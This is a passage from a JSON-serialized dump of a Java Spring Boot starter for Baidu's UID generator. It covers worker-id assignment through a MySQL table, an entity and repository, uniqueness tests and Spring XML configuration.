javax.annotation.Resource;\n\n\n/**\n * Represents an implementation of {@link WorkerIdAssigner}, \n * the worker id will be discarded after assigned to the UidGenerator\n * \n * \n */\n@Slf4j\n@Component\npublic class DisposableWorkerIdAssigner implements WorkerIdAssigner {\n\n//    @Autowired\n//    private WorkerNodeResposity workerNodeResposity;\n\n//    @Resource\n//    private WorkerNodeDAO workerNodeDAO;\n\n    /**\n     * Assign worker id base on database.<p>\n     * If there is host name & port in the environment, we considered that the node runs in Docker container<br>\n     * Otherwise, the node runs on an actual machine.\n     * \n     * @return assigned worker id\n     */\n    @Transactional\n    public long assignWorkerId() {\n        // build worker node entity\n        WorkerNodeEntity workerNodeEntity = buildWorkerNode();\n\n        // add worker node for new (ignore the same IP + PORT)\n        // workerId可自定义实现，比如mysql自增主键,redis递增数,zk,uuid\n        WorkerNodeResposity workerNodeResposity = SpringUtil.getBean(WorkerNodeResposity.class);\n        workerNodeResposity.addWorkerNode(workerNodeEntity);\n        log.info(\"Add worker node:\" + workerNodeEntity);\n\n        return workerNodeEntity.getId();\n    }\n\n    /**\n     * Build worker node entity by IP and PORT\n     */\n    private WorkerNodeEntity buildWorkerNode() {\n        WorkerNodeEntity workerNodeEntity = new WorkerNodeEntity();\n        if (DockerUtils.isDocker()) {\n            workerNodeEntity.setType(WorkerNodeType.CONTAINER.value());\n            workerNodeEntity.setHostName(DockerUtils.getDockerHost());\n            workerNodeEntity.setPort(DockerUtils.getDockerPort());\n\n        } else {\n            workerNodeEntity.setType(WorkerNodeType.ACTUAL.value());\n            workerNodeEntity.setHostName(NetUtils.getLocalAddress());\n            workerNodeEntity.setPort(System.currentTimeMillis() + \"-\" + RandomUtils.nextInt(100000));\n        }\n\n        return workerNodeEntity;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/worker/WorkerIdAssigner.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.worker;\n\n\nimport io.github.wujun728.uidgenerator.impl.DefaultUidGenerator;\n\n/**\n * Represents a worker id assigner for {@link DefaultUidGenerator}\n * \n * \n */\npublic interface WorkerIdAssigner {\n\n    /**\n     * Assign worker id for {@link DefaultUidGenerator}\n     * \n     * @return assigned worker id\n     */\n    long assignWorkerId();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/worker/WorkerNodeType.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.worker;\n\n\nimport io.github.wujun728.uidgenerator.utils.ValuedEnum;\n\n/**\n * WorkerNodeType\n * <li>CONTAINER: Such as Docker\n * <li>ACTUAL: Actual machine\n * \n * \n */\npublic enum WorkerNodeType implements ValuedEnum<Integer> {\n\n    CONTAINER(1), ACTUAL(2);\n\n    /**\n     * Lock type\n     */\n    private final Integer type;\n\n    /**\n     * Constructor with field of type\n     */\n    private WorkerNodeType(Integer type) {\n        this.type = type;\n    }\n\n    @Override\n    public Integer value() {\n        return type;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/worker/dao/WorkerNodeDAO.java",
    "content": "///*\n// * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n// *\n// * Licensed under the Apache License, Version 2.0 (the \"License\");\n// * you may not use this file except in compliance with the License.\n// * You may obtain a copy of the License at\n// *\n// *     http://www.apache.org/licenses/LICENSE-2.0\n// *\n// * Unless required by applicable law or agreed to in writing, software\n// * distributed under the License is distributed on an \"AS IS\" BASIS,\n// * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// * See the License for the specific language governing permissions and\n// * limitations under the License.\n// */\n//package io.github.wujun728.uidgenerator.worker.dao;\n//\n//import com.baidu.fsg.uid.worker.entity.WorkerNodeEntity;\n//import org.apache.ibatis.annotations.Param;\n//import org.springframework.stereotype.Repository;\n//\n///**\n// * DAO for M_WORKER_NODE\n// *\n// * \n// */\n//@Repository\n//public interface WorkerNodeDAO {\n//\n//    /**\n//     * Get {@link WorkerNodeEntity} by node host\n//     *\n//     * @param host\n//     * @param port\n//     * @return\n//     */\n//    WorkerNodeEntity getWorkerNodeByHostPort(@Param(\"host\") String host, @Param(\"port\") String port);\n//\n//    /**\n//     * Add {@link WorkerNodeEntity}\n//     *\n//     * @param workerNodeEntity\n//     */\n//    void addWorkerNode(WorkerNodeEntity workerNodeEntity);\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/worker/entity/WorkerNodeEntity.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.worker.entity;\n\nimport io.github.wujun728.uidgenerator.worker.WorkerNodeType;\nimport org.apache.commons.lang.builder.ReflectionToStringBuilder;\nimport org.apache.commons.lang.builder.ToStringStyle;\n\nimport java.util.Date;\n\n/**\n * Entity for M_WORKER_NODE\n *\n * \n */\npublic class WorkerNodeEntity {\n\n    /**\n     * Entity unique id (table unique)\n     */\n    private long id;\n\n    /**\n     * Type of CONTAINER: HostName, ACTUAL : IP.\n     */\n    private String hostName;\n\n    /**\n     * Type of CONTAINER: Port, ACTUAL : Timestamp + Random(0-10000)\n     */\n    private String port;\n\n    /**\n     * type of {@link WorkerNodeType}\n     */\n    private int type;\n\n    /**\n     * Worker launch date, default now\n     */\n    private Date launchDate = new Date();\n\n    /**\n     * Created time\n     */\n    private Date created;\n\n    /**\n     * Last modified\n     */\n    private Date modified;\n\n    /**\n     * Getters & Setters\n     */\n    public long getId() {\n        return id;\n    }\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    public String getHostName() {\n        return hostName;\n    }\n\n    public void setHostName(String hostName) {\n        this.hostName = hostName;\n    }\n\n    public String getPort() {\n        return port;\n    }\n\n    public void setPort(String port) {\n        this.port = port;\n    }\n\n    public int getType() {\n        return type;\n    }\n\n    public void setType(int type) {\n        this.type = type;\n    }\n\n    public Date getLaunchDate() {\n        return launchDate;\n    }\n\n    public void setLaunchDateDate(Date launchDate) {\n        this.launchDate = launchDate;\n    }\n\n    public Date getCreated() {\n        return created;\n    }\n\n    public void setCreated(Date created) {\n        this.created = created;\n    }\n\n    public Date getModified() {\n        return modified;\n    }\n\n    public void setModified(Date modified) {\n        this.modified = modified;\n    }\n\n    @Override\n    public String toString() {\n        return ReflectionToStringBuilder.toString(this, ToStringStyle.SHORT_PREFIX_STYLE);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/worker/repository/DbWorkerNodeResposity.java",
    "content": "package io.github.wujun728.uidgenerator.worker.repository;\n\nimport io.github.wujun728.uidgenerator.worker.entity.WorkerNodeEntity;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.jdbc.BadSqlGrammarException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.support.GeneratedKeyHolder;\nimport org.springframework.jdbc.support.KeyHolder;\nimport org.springframework.stereotype.Repository;\n\nimport java.sql.PreparedStatement;\nimport java.sql.Statement;\nimport java.util.Objects;\n\n@Repository\npublic class DbWorkerNodeResposity implements WorkerNodeResposity {\n    private static final String GET_WORKER_NODE_BY_HOST_PORT_SQL = \"SELECT ID,HOST_NAME,PORT,TYPE,LAUNCH_DATE,MODIFIED,CREATED FROM worker_node WHERE HOST_NAME = ? AND PORT = ?\";\n    private static final String ADD_WORKER_NODE_SQL = \"INSERT INTO worker_node (HOST_NAME,PORT,TYPE,LAUNCH_DATE,MODIFIED,CREATED) VALUES (?,?,?,?,NOW(),NOW())\";\n    private static final String DROP_WORKER_NODE_SQL = \"DROP TABLE IF EXISTS `worker_node`\";\n    private static final String CREATE_WORKER_NODE_SQL = \"CREATE TABLE `worker_node` (\\n\" +\n            \"  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT 'auto increment id',\\n\" +\n            \"  `HOST_NAME` varchar(64) COLLATE utf8mb4_german2_ci NOT NULL COMMENT 'host name',\\n\" +\n            \"  `PORT` varchar(64) COLLATE utf8mb4_german2_ci NOT NULL COMMENT 'port',\\n\" +\n            \"  `TYPE` int(11) NOT NULL COMMENT 'node type: ACTUAL or CONTAINER',\\n\" +\n            \"  `LAUNCH_DATE` date NOT NULL COMMENT 'launch date',\\n\" +\n            \"  `MODIFIED` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT 'modified time',\\n\" +\n            \"  `CREATED` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT 'created time',\\n\" +\n            \"  PRIMARY KEY (`ID`) USING BTREE\\n\" +\n            \") ENGINE=InnoDB AUTO_INCREMENT=269 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_german2_ci COMMENT='DB WorkerID Assigner for UID Generator'\";\n\n    private final JdbcTemplate jdbcTemplate;\n\n    public DbWorkerNodeResposity(JdbcTemplate jdbcTemplate) {\n        this.jdbcTemplate = jdbcTemplate;\n    }\n\n    /**\n     * @param host\n     * @param port\n     * @return\n     */\n    @Override\n    public WorkerNodeEntity getWorkerNodeByHostPort(String host, String port) {\n        return this.jdbcTemplate.queryForObject(GET_WORKER_NODE_BY_HOST_PORT_SQL, (rs, rowNum) -> {\n            WorkerNodeEntity entity = new WorkerNodeEntity();\n            entity.setId(rs.getLong(\"ID\"));\n            entity.setHostName(rs.getString(\"HOST_NAME\"));\n            entity.setPort(rs.getString(\"PORT\"));\n            entity.setType(rs.getInt(\"TYPE\"));\n            entity.setLaunchDateDate(rs.getDate(\"LAUNCH_DATE\"));\n            entity.setModified(rs.getTimestamp(\"MODIFIED\"));\n            entity.setCreated(rs.getTime(\"CREATED\"));\n            return entity;\n        }, new String[]{host, port});\n    }\n\n    /**\n     * Add {@link WorkerNodeEntity}\n     *\n     * @param entity\n     */\n    @Override\n    public void addWorkerNode(WorkerNodeEntity entity) {\n        WorkerNodeEntity nodeEntity= getWorkerNodeByHostPort(entity.getHostName(), entity.getPort());\n        if(nodeEntity!=null && nodeEntity.getId()>0){\n            entity.setId(nodeEntity.getId());\n        }else{\n            try {\n                KeyHolder keyHolder = new GeneratedKeyHolder();\n                PreparedStatementCreator preparedStatementCreator = con -> {\n                    PreparedStatement ps = con.prepareStatement(ADD_WORKER_NODE_SQL, Statement.RETURN_GENERATED_KEYS);\n                    ps.setString(1, entity.getHostName());\n                    ps.setString(2, entity.getPort());\n                    ps.setInt(3, entity.getType());\n                    ps.setObject(4, entity.getLaunchDate());\n                    return ps;\n                };\n                this.jdbcTemplate.update(preparedStatementCreator, keyHolder);\n                entity.setId(Objects.requireNonNull(keyHolder.getKey()).longValue());\n            } catch (BadSqlGrammarException e) {\n                if(e.getMessage().contains(\"doesn't exist\")){\n                    this.jdbcTemplate.update(DROP_WORKER_NODE_SQL);\n                    this.jdbcTemplate.update(CREATE_WORKER_NODE_SQL);\n                    this.addWorkerNode(entity);//如果表没有，见建表\n                }else{\n                    e.printStackTrace();\n                }\n            }catch (Exception e){\n                e.printStackTrace();\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/worker/repository/WorkerNodeResposity.java",
    "content": "package io.github.wujun728.uidgenerator.worker.repository;\n\n\nimport io.github.wujun728.uidgenerator.worker.entity.WorkerNodeEntity;\n\npublic interface WorkerNodeResposity {\n    WorkerNodeEntity getWorkerNodeByHostPort(String host, String port);\n\n    void addWorkerNode(WorkerNodeEntity entity);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/resources/META-INF/spring/spring-boot/starters/spring-boot-starter-uid.properties",
    "content": "spring.boot.starter.group=io.github.wujun728.uidgenerator\nspring.boot.starter.artifact=jun-uidgenerator-spring-boot-starter\nspring.boot.starter.version=1.0.8"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.uidgenerator.config.UidAutoConfig"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/resources/application.yml",
    "content": "server:\n  tomcat:\n    threads:\n      max: 200\n      min-spare: 100\n    accept-count: 100\nspring:\n  datasource:\n    driver-class-name: com.mysql.cj.jdbc.Driver\n    url: jdbc:mysql://127.0.0.1:3306/db_test666?useSSL=false&characterEncoding=UTF-8&allowMultiQueries=true\n    username: root\n    password:\nuid:\n  gen:\n    boostPower: 3\n    epochStr: '2023-11-27'\n    scheduleInterval: 60\n    seqBits: 12  #单机4096并发'\n    timeBits: 31 #运行时长约68年'\n    workerBits: 20 #1048576次机器启动  整个配置支持5个节点，重启频率6/天，以4000并发持续运行68年，id用尽后会重复，必须调整epochStr及重启服务'\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/test/java/io/github/wujun728/uidgenerator/CachedUidGeneratorTest.java",
    "content": "package io.github.wujun728.uidgenerator;\n\nimport io.github.wujun728.uidgenerator.UidGenerator;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang.StringUtils;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport javax.annotation.Resource;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentSkipListSet;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@Slf4j\n@SpringBootTest(properties = {\"test.prop=testValue2\"})\npublic class CachedUidGeneratorTest {\n    private static final int SIZE = 7000000; // 700w\n    private static final boolean VERBOSE = false;\n    private static final int THREADS = Runtime.getRuntime().availableProcessors() << 1;\n\n    @Resource\n    private UidGenerator uidGenerator;\n\n    /**\n     * Test for serially generate\n     * \n     * @throws IOException\n     */\n    @Test\n    public void testSerialGenerate() throws IOException {\n        // Generate UID serially\n        Set<Long> uidSet = new HashSet<>(SIZE);\n        for (int i = 0; i < SIZE; i++) {\n            doGenerate(uidSet, i);\n        }\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n\n    /**\n     * Test for parallel generate\n     * \n     * @throws InterruptedException\n     * @throws IOException\n     */\n    @Test\n    public void testParallelGenerate() throws InterruptedException, IOException {\n        AtomicInteger control = new AtomicInteger(-1);\n        Set<Long> uidSet = new ConcurrentSkipListSet<>();\n\n        // Initialize threads\n        List<Thread> threadList = new ArrayList<>(THREADS);\n        for (int i = 0; i < THREADS; i++) {\n            Thread thread = new Thread(() -> workerRun(uidSet, control));\n            thread.setName(\"UID-generator-\" + i);\n\n            threadList.add(thread);\n            thread.start();\n        }\n\n        // Wait for worker done\n        for (Thread thread : threadList) {\n            thread.join();\n        }\n\n        // Check generate 700w times\n        Assert.assertEquals(SIZE, control.get());\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n\n    /**\n     * Woker run\n     */\n    private void workerRun(Set<Long> uidSet, AtomicInteger control) {\n        for (;;) {\n            int myPosition = control.updateAndGet(old -> (old == SIZE ? SIZE : old + 1));\n            if (myPosition == SIZE) {\n                return;\n            }\n\n            doGenerate(uidSet, myPosition);\n        }\n    }\n\n    /**\n     * Do generating\n     */\n    private void doGenerate(Set<Long> uidSet, int index) {\n        long uid = uidGenerator.getUID();\n        String parsedInfo = uidGenerator.parseUID(uid);\n        boolean existed = !uidSet.add(uid);\n        if (existed) {\n            System.out.println(\"Found duplicate UID \" + uid);\n        }\n\n        // Check UID is positive, and can be parsed\n        Assert.assertTrue(uid > 0L);\n        Assert.assertTrue(StringUtils.isNotBlank(parsedInfo));\n\n        if (VERBOSE) {\n            System.out.println(Thread.currentThread().getName() + \" No.\" + index + \" >>> \" + parsedInfo);\n        }\n    }\n\n    /**\n     * Check UIDs are all unique\n     */\n    private void checkUniqueID(Set<Long> uidSet) throws IOException {\n        System.out.println(uidSet.size());\n        Assert.assertEquals(SIZE, uidSet.size());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/test/java/io/github/wujun728/uidgenerator/DefaultUidGeneratorTest.java",
    "content": "package io.github.wujun728.uidgenerator;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentSkipListSet;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport javax.annotation.Resource;\n\nimport io.github.wujun728.uidgenerator.UidGenerator;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang.StringUtils;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@Slf4j\n@SpringBootTest(properties = {\"test.prop=testValue2\"})\npublic class DefaultUidGeneratorTest {\n    private static final int SIZE = 100000; // 10w\n    private static final boolean VERBOSE = true;\n    private static final int THREADS = Runtime.getRuntime().availableProcessors() << 1;\n\n    @Resource\n    private UidGenerator uidGenerator;\n\n    /**\n     * Test for serially generate\n     */\n    @Test\n    public void testSerialGenerate() {\n        // Generate UID serially\n        Set<Long> uidSet = new HashSet<>(SIZE);\n        for (int i = 0; i < SIZE; i++) {\n            doGenerate(uidSet, i);\n        }\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n\n    /**\n     * Test for parallel generate\n     * \n     * @throws InterruptedException\n     */\n    @Test\n    public void testParallelGenerate() throws InterruptedException {\n        AtomicInteger control = new AtomicInteger(-1);\n        Set<Long> uidSet = new ConcurrentSkipListSet<>();\n\n        // Initialize threads\n        List<Thread> threadList = new ArrayList<>(THREADS);\n        for (int i = 0; i < THREADS; i++) {\n            Thread thread = new Thread(() -> workerRun(uidSet, control));\n            thread.setName(\"UID-generator-\" + i);\n\n            threadList.add(thread);\n            thread.start();\n        }\n\n        // Wait for worker done\n        for (Thread thread : threadList) {\n            thread.join();\n        }\n\n        // Check generate 10w times\n        Assert.assertEquals(SIZE, control.get());\n\n        // Check UIDs are all unique\n        checkUniqueID(uidSet);\n    }\n\n    /**\n     * Worker run\n     */\n    private void workerRun(Set<Long> uidSet, AtomicInteger control) {\n        for (;;) {\n            int myPosition = control.updateAndGet(old -> (old == SIZE ? SIZE : old + 1));\n            if (myPosition == SIZE) {\n                return;\n            }\n\n            doGenerate(uidSet, myPosition);\n        }\n    }\n\n    /**\n     * Do generating\n     */\n    private void doGenerate(Set<Long> uidSet, int index) {\n        long uid = uidGenerator.getUID();\n        String parsedInfo = uidGenerator.parseUID(uid);\n        uidSet.add(uid);\n\n        // Check UID is positive, and can be parsed\n        Assert.assertTrue(uid > 0L);\n        Assert.assertTrue(StringUtils.isNotBlank(parsedInfo));\n\n        if (VERBOSE) {\n            System.out.println(Thread.currentThread().getName() + \" No.\" + index + \" >>> \" + parsedInfo);\n        }\n    }\n\n    /**\n     * Check UIDs are all unique\n     */\n    private void checkUniqueID(Set<Long> uidSet) {\n        System.out.println(uidSet.size());\n        Assert.assertEquals(SIZE, uidSet.size());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/test/resources/uid/cached-uid-spring.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"\n\t\thttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd\">\n\n\t<!-- UID generator -->\n\t<bean id=\"disposableWorkerIdAssigner\" class=\"com.baidu.fsg.uid.worker.DisposableWorkerIdAssigner\" />\n\n\t<bean id=\"cachedUidGenerator\" class=\"com.baidu.fsg.uid.impl.CachedUidGenerator\">\n\t\t<property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\" />\n\n\t\t<!-- 以下为可选配置, 如未指定将采用默认值 -->\n\t\t<!-- RingBuffer size扩容参数, 可提高UID生成的吞吐量. --> \n\t\t<!-- 默认:3， 原bufferSize=8192, 扩容后bufferSize= 8192 << 3 = 65536 -->\n\t\t<!--<property name=\"boostPower\" value=\"3\"></property>--> \n\t\t\n\t\t<!-- 指定何时向RingBuffer中填充UID, 取值为百分比(0, 100), 默认为50 -->\n\t\t<!-- 举例: bufferSize=1024, paddingFactor=50 -> threshold=1024 * 50 / 100 = 512. -->\n\t\t<!-- 当环上可用UID数量 < 512时, 将自动对RingBuffer进行填充补全 -->\n\t\t<!--<property name=\"paddingFactor\" value=\"50\"></property>--> \n\t\t\n\t\t<!-- 另外一种RingBuffer填充时机, 在Schedule线程中, 周期性检查填充 -->\n\t\t<!-- 默认:不配置此项, 即不实用Schedule线程. 如需使用, 请指定Schedule线程时间间隔, 单位:秒 -->\n\t\t<!--<property name=\"scheduleInterval\" value=\"60\"></property>--> \n\t\t\n\t\t<!-- 拒绝策略: 当环已满, 无法继续填充时 -->\n\t\t<!-- 默认无需指定, 将丢弃Put操作, 仅日志记录. 如有特殊需求, 请实现RejectedPutBufferHandler接口(支持Lambda表达式) -->\n\t\t<!--<property name=\"rejectedPutBufferHandler\" ref=\"XxxxYourPutRejectPolicy\"></property>--> \n\t\t\n\t\t<!-- 拒绝策略: 当环已空, 无法继续获取时 -->\n\t\t<!-- 默认无需指定, 将记录日志, 并抛出UidGenerateException异常. 如有特殊需求, 请实现RejectedTakeBufferHandler接口(支持Lambda表达式) -->\n\t\t<!--<property name=\"rejectedTakeBufferHandler\" ref=\"XxxxYourTakeRejectPolicy\"></property>--> \n\t\t\n\t</bean>\n\n\t<!-- Import mybatis config -->\n\t<import resource=\"classpath:/uid/mybatis-spring.xml\" />\n\n</beans>\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/test/resources/uid/default-uid-spring.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xsi:schemaLocation=\"\n\t\thttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd\">\n\n    <!-- UID generator -->\n    <bean id=\"disposableWorkerIdAssigner\" class=\"com.baidu.fsg.uid.worker.DisposableWorkerIdAssigner\"/>\n\n    <bean id=\"defaultUidGenerator\" class=\"com.baidu.fsg.uid.impl.DefaultUidGenerator\" lazy-init=\"false\">\n        <property name=\"workerIdAssigner\" ref=\"disposableWorkerIdAssigner\"/>\n\n        <!-- Specified bits & epoch as your demand. No specified the default value will be used -->\n        <property name=\"timeBits\" value=\"29\"/>\n        <property name=\"workerBits\" value=\"21\"/>\n        <property name=\"seqBits\" value=\"13\"/>\n        <property name=\"epochStr\" value=\"2016-09-20\"/>\n    </bean>\n\n    <!-- Import mybatis config -->\n    <import resource=\"classpath:/uid/mybatis-spring.xml\"/>\n\n</beans>\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/test/resources/uid/mybatis-spring.xml",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns:aop=\"http://www.springframework.org/schema/aop\" xmlns:context=\"http://www.springframework.org/schema/context\"\n\txmlns:jdbc=\"http://www.springframework.org/schema/jdbc\" xmlns:tx=\"http://www.springframework.org/schema/tx\"\n\txsi:schemaLocation=\"\n\t\thttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd\n\t\thttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.1.xsd\n\t\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.1.xsd\n\t\thttp://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc-3.1.xsd\n\t\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.1.xsd\">\n\n\t<!-- 确保可在@Value中, 使用SeEL表达式获取资源属性 -->\n\t<bean id=\"propertyConfigurer\" class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n\t\t<property name=\"properties\" ref=\"configProperties\" />\n\t</bean>\n\n\t<bean id=\"configProperties\" class=\"org.springframework.beans.factory.config.PropertiesFactoryBean\">\n\t\t<property name=\"locations\">\n\t\t\t<list>\n\t\t\t\t<value>classpath:/uid/*.properties</value>\n\t\t\t</list>\n\t\t</property>\n\t</bean>\n\n\t<!-- Spring annotation扫描 -->\n\t<context:component-scan base-package=\"com.baidu.fsg.uid\" />\n\n\t<!-- 创建SqlSessionFactory，同时指定数据源 -->\n\t<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t\t<property name=\"mapperLocations\" value=\"classpath:/META-INF/mybatis/mapper/WORKER*.xml\" />\n\t</bean>\n\n\t<!-- 事务相关配置 -->\n\t<tx:annotation-driven transaction-manager=\"transactionManager\" order=\"1\" />\n\n\t<bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\t</bean>\n\n\t<!-- Mybatis Mapper扫描 -->\n\t<bean class=\"org.mybatis.spring.mapper.MapperScannerConfigurer\">\n\t\t<property name=\"annotationClass\" value=\"org.springframework.stereotype.Repository\" />\n\t\t<property name=\"basePackage\" value=\"com.baidu.fsg.uid.worker.dao\" />\n\t\t<property name=\"sqlSessionFactoryBeanName\" value=\"sqlSessionFactory\" />\n\t</bean>\n\n\t<!-- 数据源配置 -->\n\t<bean id=\"dataSource\" parent=\"abstractDataSource\">\n\t\t<property name=\"driverClassName\" value=\"${mysql.driver}\" />\n\t\t<property name=\"maxActive\" value=\"${jdbc.maxActive}\" />\n\t\t<property name=\"url\" value=\"${jdbc.url}\" />\n\t\t<property name=\"username\" value=\"${jdbc.username}\" />\n\t\t<property name=\"password\" value=\"${jdbc.password}\" />\n\t</bean>\n\n\t<bean id=\"abstractDataSource\" class=\"com.alibaba.druid.pool.DruidDataSource\" destroy-method=\"close\">\n\t\t<property name=\"filters\" value=\"${datasource.filters}\" />\n\t\t<property name=\"defaultAutoCommit\" value=\"${datasource.defaultAutoCommit}\" />\n\t\t<property name=\"initialSize\" value=\"${datasource.initialSize}\" />\n\t\t<property name=\"minIdle\" value=\"${datasource.minIdle}\" />\n\t\t<property name=\"maxWait\" value=\"${datasource.maxWait}\" />\n\t\t<property name=\"testWhileIdle\" value=\"${datasource.testWhileIdle}\" />\n\t\t<property name=\"testOnBorrow\" value=\"${datasource.testOnBorrow}\" />\n\t\t<property name=\"testOnReturn\" value=\"${datasource.testOnReturn}\" />\n\t\t<property name=\"validationQuery\" value=\"${datasource.validationQuery}\" />\n\t\t<property name=\"timeBetweenEvictionRunsMillis\" value=\"${datasource.timeBetweenEvictionRunsMillis}\" />\n\t\t<property name=\"minEvictableIdleTimeMillis\" value=\"${datasource.minEvictableIdleTimeMillis}\" />\n\t\t<property name=\"logAbandoned\" value=\"${datasource.logAbandoned}\" />\n\t\t<property name=\"removeAbandoned\" value=\"${datasource.removeAbandoned}\" />\n\t\t<property name=\"removeAbandonedTimeout\" value=\"${datasource.removeAbandonedTimeout}\" />\n\t</bean>\n\n\t<bean id=\"batchSqlSession\" class=\"org.mybatis.spring.SqlSessionTemplate\">\n\t\t<constructor-arg index=\"0\" ref=\"sqlSessionFactory\" 